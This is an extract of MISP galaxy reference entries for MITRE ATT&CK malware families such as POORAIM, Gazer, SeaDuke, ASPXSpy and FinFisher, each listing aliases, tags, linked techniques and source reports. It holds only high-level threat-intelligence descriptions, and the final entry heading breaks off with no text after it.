POORAIM is a backdoor used by APT37 in campaigns since at least 2014. (Citation: FireEye APT37 Feb 2018)

Aliases: POORAIM

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="POORAIM - S0216"*

POORAIM - S0216 is also known as:

- POORAIM

POORAIM - S0216 has relationships with:

- similar: misp-galaxy:tool="POORAIM" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 2273. Table References

Links
https://attack.mitre.org/wiki/Software/S0216
https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf

FLASHFLOOD - S0036

FLASHFLOOD is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)

Aliases: FLASHFLOOD

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="FLASHFLOOD - S0036"*

FLASHFLOOD - S0036 is also known as:

- FLASHFLOOD

FLASHFLOOD - S0036 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

Table 2274. Table References

Links
https://attack.mitre.org/wiki/Software/S0036
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

TINYTYPHON - S0131

TINYTYPHON is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)

Aliases: TINYTYPHON

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="TINYTYPHON - S0131"*

TINYTYPHON - S0131 is also known as:

- TINYTYPHON

TINYTYPHON - S0131 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 2275. Table References

Links
https://attack.mitre.org/wiki/Software/S0131
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

Gazer - S0168

Gazer is a backdoor used by Turla since at least 2016. (Citation: ESET Gazer Aug 2017)

Aliases: Gazer, WhiteBear

Contributors: Bartosz Jerzman

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Gazer - S0168"*

Gazer - S0168 is also known as:

- Gazer

- WhiteBear

Gazer - S0168 has relationships with:

- similar: misp-galaxy:malpedia="Gazer" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 2276. Table References

Links
https://attack.mitre.org/wiki/Software/S0168
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf

SeaDuke - S0053

SeaDuke is malware that was used by APT29 from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with CozyCar. (Citation: F-Secure The Dukes)

Aliases: SeaDuke, SeaDaddy, SeaDesk

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="SeaDuke - S0053"*

SeaDuke - S0053 is also known as:

- SeaDuke
- SeaDaddy
- SeaDesk

SeaDuke - S0053 has relationships with:

- similar: misp-galaxy:malpedia="SeaDaddy" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 2277. Table References

Links
https://attack.mitre.org/wiki/Software/S0053
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf

HALFBAKED - S0151

HALFBAKED is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)

Aliases: HALFBAKED

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="HALFBAKED - S0151"*

HALFBAKED - S0151 is also known as:

- HALFBAKED

HALFBAKED - S0151 has relationships with:

- similar: misp-galaxy:tool="VB Flash" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

Table 2278. Table References

Links
https://attack.mitre.org/wiki/Software/S0151
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html

ADVSTORESHELL - S0045

ADVSTORESHELL is a spying backdoor that has been used by APT28 from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)

Aliases: ADVSTORESHELL, NETUI, EVILTOSS, AZZY, Sedreco

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="ADVSTORESHELL - S0045"*

ADVSTORESHELL - S0045 is also known as:

- ADVSTORESHELL
- NETUI
- EVILTOSS
- AZZY
- Sedreco

ADVSTORESHELL - S0045 has relationships with:

- similar: misp-galaxy:tool="EVILTOSS" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Sedreco" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"

Table 2279. Table References

Links
https://attack.mitre.org/wiki/Software/S0045
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf

SNUGRIDE - S0159

SNUGRIDE is a backdoor that has been used by menuPass as first stage malware. (Citation: FireEye APT10 April 2017)

Aliases: SNUGRIDE

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="SNUGRIDE - S0159"*

SNUGRIDE - S0159 is also known as:

- SNUGRIDE

SNUGRIDE - S0159 has relationships with:

- similar: misp-galaxy:tool="SNUGRIDE" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 2280. Table References

Links
https://attack.mitre.org/wiki/Software/S0159
https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html

S-Type - S0085

S-Type is a backdoor that was used by Dust Storm from 2013 to 2014. (Citation: Cylance Dust Storm)

Aliases: S-Type

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="S-Type - S0085"*

S-Type - S0085 is also known as:

- S-Type

S-Type - S0085 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"

Table 2281. Table References

Links
https://attack.mitre.org/wiki/Software/S0085
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf

Chaos - S0220

Linux malware that compromises systems by brute force attacks against SSH services. Once installed, it provides a reverse shell to its controllers, triggered by unsolicited packets

Aliases: Chaos

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Chaos - S0220"*

Chaos - S0220 is also known as:

- Chaos

Chaos - S0220 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 2282. Table References

Links
https://attack.mitre.org/wiki/Software/S0220

NetTraveler - S0033

NetTraveler is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. (Citation: Kaspersky NetTraveler)

Aliases: NetTraveler

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="NetTraveler - S0033"*

NetTraveler - S0033 is also known as:

- NetTraveler

NetTraveler - S0033 has relationships with:

- similar: misp-galaxy:tool="NetTraveler" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="NetTraveler" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"

Table 2283. Table References

Links
https://attack.mitre.org/wiki/Software/S0033
http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf

RemoteCMD - S0166

RemoteCMD is a custom tool used by APT3 to execute commands on a remote system similar to SysInternal’s PSEXEC functionality. (Citation: Symantec Buckeye)

Aliases: RemoteCMD

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="RemoteCMD - S0166"*

RemoteCMD - S0166 is also known as:

- RemoteCMD

RemoteCMD - S0166 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"

Table 2284. Table References

Links
https://attack.mitre.org/wiki/Software/S0166
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong

Dyre - S0024

Dyre is a Trojan that usually targets banking information. (Citation: Raff 2015)

Aliases: Dyre

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Dyre - S0024"*

Dyre - S0024 is also known as:

- Dyre

Dyre - S0024 has relationships with:

- similar: misp-galaxy:banker="Dyre" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Dyre" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"

Table 2285. Table References

Links
https://attack.mitre.org/wiki/Software/S0024
http://www.seculert.com/blogs/new-dyre-version-yet-another-malware-evading-sandboxes

P2P ZeuS - S0016

P2P ZeuS is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture. (Citation: Dell P2P ZeuS)

Aliases: P2P ZeuS, Peer-to-Peer ZeuS, Gameover ZeuS

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="P2P ZeuS - S0016"*

P2P ZeuS - S0016 is also known as:

- P2P ZeuS
- Peer-to-Peer ZeuS
- Gameover ZeuS

P2P ZeuS - S0016 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"

Table 2286. Table References

Links
https://attack.mitre.org/wiki/Software/S0016
http://www.secureworks.com/cyber-threat-intelligence/threats/The%20Lifecycle%20of%20Peer%20to%20Peer%20Gameover%20ZeuS/

FinFisher - S0182

```
(Citation: FinFisher) is a government-grade commercial surveillance reportedly sold
exclusively to government agencies for use in targeted and lawful criminal
investigations. It is heavily obfuscated and uses multiple anti-analysis techniques.
It has other variants including Wingbird. (Citation: FinFisher) (Citation: Microsoft
SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct
2017)
```

Aliases: (Citation: FinFisher), FinSpy

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="FinFisher - S0182"*

FinFisher - S0182 is also known as:

- FinFisher
- FinSpy

FinFisher - S0182 has relationships with:

- similar: misp-galaxy:malpedia="FinFisher RAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"

Table 2287. Table References

Links
https://attack.mitre.org/wiki/Software/S0182
http://www.finfisher.com/FinFisher/index.html
http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf
https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html
https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/

ComRAT - S0126

ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla. (Citation: Symantec Waterbug) (Citation: NorthSec 2015 GData Uroburos Tools)

Aliases: ComRAT

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="ComRAT - S0126"*

ComRAT - S0126 is also known as:

- ComRAT

ComRAT - S0126 has relationships with:

- similar: misp-galaxy:rat="ComRAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Agent.BTZ" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Agent.BTZ" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 2288. Table References

Links
https://attack.mitre.org/wiki/Software/S0126

http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/waterbug-attack-group.pdf
https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf

POSHSPY - S0150

POSHSPY is a backdoor that has been used by APT29 since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. (Citation: FireEye POSHSPY April 2017)

Aliases: POSHSPY

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="POSHSPY - S0150"*

POSHSPY - S0150 is also known as:

- POSHSPY

POSHSPY - S0150 has relationships with:

- similar: misp-galaxy:malpedia="POSHSPY" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"

Table 2289. Table References

Links
https://attack.mitre.org/wiki/Software/S0150
https://www.fireeye.com/blog/threat-research/2017/03/dissecting%20one%20ofap.html

adbupd - S0202

is a backdoor used by PLATINUM that is similar to Dipsind. (Citation: Microsoft PLATINUM April 2016)

Aliases: adbupd

Contributors: Ryan Becwar

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="adbupd - S0202"*

adbupd - S0202 is also known as:

- adbupd

adbupd - S0202 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"

Table 2290. Table References

Links
https://attack.mitre.org/wiki/Software/S0202

Felismus - S0171

Felismus is a modular backdoor that has been used by Sowbug. (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)

Aliases: Felismus

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Felismus - S0171"*

Felismus - S0171 is also known as:

- Felismus

Felismus - S0171 has relationships with:

- similar: misp-galaxy:malpedia="Felismus" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 2291. Table References

Links
https://attack.mitre.org/wiki/Software/S0171
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments
https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware

Truvasys - S0178

Truvasys is first-stage malware that has been used by PROMETHIUM. It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)

Aliases: Truvasys

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Truvasys - S0178"*

Truvasys - S0178 is also known as:

- Truvasys

Truvasys - S0178 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Registry Run Keys / Start Folder - T1060" with estimative-language:likelihood-probability="almost-certain"

Table 2292. Table References

Links
https://attack.mitre.org/wiki/Software/S0178
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/
http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf

Winnti - S0141

Winnti is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, Winnti Group; however, reporting indicates a second distinct group, Axiom, also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015)

Aliases: Winnti

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Winnti - S0141"*

Winnti - S0141 is also known as:

- Winnti

Winnti - S0141 has relationships with:

- similar: misp-galaxy:tool="Winnti" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Winnti" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 2293. Table References

Links
https://attack.mitre.org/wiki/Software/S0141
https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf

https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/
http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf

RTM - S0148

RTM is custom malware written in Delphi. It is used by the group of the same name (RTM). (Citation: ESET RTM Feb 2017)

Aliases: RTM

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="RTM - S0148"*

RTM - S0148 is also known as:

- RTM

RTM - S0148 has relationships with:

- similar: misp-galaxy:malpedia="RTM" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Install Root Certificate - T1130" with estimative-language:likelihood-probability="almost-certain"

Table 2294. Table References

Links
https://attack.mitre.org/wiki/Software/S0148
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf

CallMe - S0077

CallMe is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. (Citation: Scarlet Mimic Jan 2016)

Aliases: CallMe

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="CallMe - S0077"*

CallMe - S0077 is also known as:

- CallMe

CallMe - S0077 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 2295. Table References

Links

https://attack.mitre.org/wiki/Software/S0077
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/

HIDEDRV - S0135

HIDEDRV is a rootkit used by APT28. It has been deployed along with Downdelph to execute and hide that malware. (Citation: ESET Sednit Part 3) (Citation: Sekoia HideDRV Oct 2016)

Aliases: HIDEDRV

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="HIDEDRV - S0135"*

HIDEDRV - S0135 is also known as:

- HIDEDRV

HIDEDRV - S0135 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"

Table 2296. Table References

Links
https://attack.mitre.org/wiki/Software/S0135
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf
http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf

Mis-Type - S0084

Mis-Type is a backdoor hybrid that was used by Dust Storm in 2012. (Citation: Cylance Dust Storm)

Aliases: Mis-Type

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Mis-Type - S0084"*

Mis-Type - S0084 is also known as:

- Mis-Type

Mis-Type - S0084 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 2297. Table References

Links

https://attack.mitre.org/wiki/Software/S0084
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf

Hikit - S0009

Hikit is malware that has been used by (Citation: Axiom) for late-stage persistence and exfiltration after the initial compromise. (Citation: Axiom)

Aliases: Hikit

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Hikit - S0009"*

Hikit - S0009 is also known as:

- Hikit

Hikit - S0009 has relationships with:

- similar: misp-galaxy:tool="Hikit" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 2298. Table References

Links
https://attack.mitre.org/wiki/Software/S0009
http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf

ASPXSpy - S0073

ASPXSpy is a Web shell. It has been modified by Threat Group-3390 actors to create the ASPXTool version. (Citation: Dell TG-3390)

Aliases: ASPXSpy, ASPXTool

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="ASPXSpy - S0073"*

ASPXSpy - S0073 is also known as:

- ASPXSpy
- ASPXTool

ASPXSpy - S0073 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"

Table 2299. Table References

Links
https://attack.mitre.org/wiki/Software/S0073
http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/

Dipsind - S0200

Dipsind is a malware family of backdoors that appear to be used exclusively by PLATINUM. (Citation: Microsoft PLATINUM April 2016)

Aliases: Dipsind

Contributors: Ryan Becwar

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Dipsind - S0200"*

Dipsind - S0200 is also known as:

- Dipsind

Dipsind - S0200 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"

Table 2300. Table References

Links
https://attack.mitre.org/wiki/Software/S0200

SEASHARPEE - S0185

SEASHARPEE is a Web shell that has been used by APT34. (Citation: FireEye APT34 Webinar Dec 2017)

Aliases: SEASHARPEE

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="SEASHARPEE - S0185"*

SEASHARPEE - S0185 is also known as:

- SEASHARPEE

SEASHARPEE - S0185 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 2301. Table References

Links
https://attack.mitre.org/wiki/Software/S0185
https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east

Sykipot - S0018

Sykipot is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of Sykipot hijacks smart cards on victims. (Citation: Alienvault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)

Aliases: Sykipot

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Sykipot - S0018"*

Sykipot - S0018 is also known as:

- Sykipot

Sykipot - S0018 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

Table 2302. Table References

Links
https://attack.mitre.org/wiki/Software/S0018
https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards
http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments

DownPaper - S0186

DownPaper is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)

Aliases: DownPaper

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="DownPaper - S0186"*

DownPaper - S0186 is also known as:

- DownPaper

DownPaper - S0186 has relationships with:

- similar: misp-galaxy:malpedia="DownPaper" with estimative-language:likelihood-probability="likely"

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 2303. Table References

Links
https://attack.mitre.org/wiki/Software/S0186
http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf

OSInfo - S0165

OSInfo is a custom tool used by APT3 to do internal discovery on a victim's computer and network. (Citation: Symantec Buckeye)

Aliases: OSInfo

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="OSInfo - S0165"*

OSInfo - S0165 is also known as:

- OSInfo

OSInfo - S0165 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

Table 2304. Table References

Links
https://attack.mitre.org/wiki/Software/S0165
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong

HOMEFRY - S0232

HOMEFRY is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other Leviathan backdoors. (Citation: FireEye Periscope March 2018)

Aliases: HOMEFRY

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="HOMEFRY - S0232"*

HOMEFRY - S0232 is also known as:

- HOMEFRY

HOMEFRY - S0232 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 2305. Table References

Links
https://attack.mitre.org/wiki/Software/S0232
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

GLOOXMAIL - S0026

GLOOXMAIL is malware used by APT1 that mimics legitimate Jabber/XMPP traffic. (Citation: Mandiant APT1)

Aliases: GLOOXMAIL, Trojan.GTALK

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="GLOOXMAIL - S0026"*

GLOOXMAIL - S0026 is also known as:

- GLOOXMAIL
- Trojan.GTALK

GLOOXMAIL - S0026 has relationships with:

- similar: misp-galaxy:tool="GLOOXMAIL" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 2306. Table References

Links
https://attack.mitre.org/wiki/Software/S0026
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Emissary - S0082

Emissary is a Trojan that has been used by Lotus Blossom. It shares code with Elise, with both Trojans being part of a malware group referred to as LStudio. (Citation: Lotus Blossom Dec 2015)

Aliases: Emissary

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Emissary - S0082"*

Emissary - S0082 is also known as:

- Emissary

Emissary - S0082 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 2307. Table References

Links
https://attack.mitre.org/wiki/Software/S0082
http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/

PUNCHTRACK - S0197

PUNCHTRACK is non-persistent point of sale (POS) system malware utilized by FIN8 to scrape payment card data. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)

Aliases: PUNCHTRACK, PSVC

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="PUNCHTRACK - S0197"*

PUNCHTRACK - S0197 is also known as:

- PUNCHTRACK
- PSVC

PUNCHTRACK - S0197 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"

Table 2308. Table References

Links
https://attack.mitre.org/wiki/Software/S0197
https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html
https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html

Miner-C - S0133

Miner-C is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)

Aliases: Miner-C, Mal/Miner-C, PhotoMiner

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Miner-C - S0133"*

Miner-C - S0133 is also known as:

- Miner-C

- Mal/Miner-C
- PhotoMiner

Miner-C - S0133 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"

Table 2309. Table References

Links
https://attack.mitre.org/wiki/Software/S0133
http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml

DustySky - S0062

```
(Citation: DustySky) is multi-stage malware written in .NET that has been used by
Molerats since May 2015. (Citation: DustySky) (Citation: DustySky)2
```

Aliases: (Citation: DustySky), NeD Worm

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="DustySky - S0062"*

DustySky - S0062 is also known as:

- DustySky
- NeD Worm

DustySky - S0062 has relationships with:

- similar: misp-galaxy:tool="NeD Worm" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

Table 2310. Table References

Links
https://attack.mitre.org/wiki/Software/S0062

BUBBLEWRAP - S0043

BUBBLEWRAP is a full-featured, second-stage backdoor used by the admin@338 group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. (Citation: FireEye admin@338)

Aliases: BUBBLEWRAP, Backdoor.APT.FakeWinHTTPHelper

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="BUBBLEWRAP - S0043"*

BUBBLEWRAP - S0043 is also known as:

- BUBBLEWRAP
- Backdoor.APT.FakeWinHTTPHelper

BUBBLEWRAP - S0043 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 2311. Table References

Links
https://attack.mitre.org/wiki/Software/S0043
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html

pngdowner - S0067

pngdowner is malware used by Putter Panda. It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple "download-and- execute" utility. (Citation: CrowdStrike Putter Panda)

Aliases: pngdowner

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="pngdowner - S0067"*

pngdowner - S0067 is also known as:

- pngdowner

pngdowner - S0067 has relationships with:

- similar: misp-galaxy:malpedia="pngdowner" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"

Table 2312. Table References

Links
https://attack.mitre.org/wiki/Software/S0067
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf

SslMM - S0058

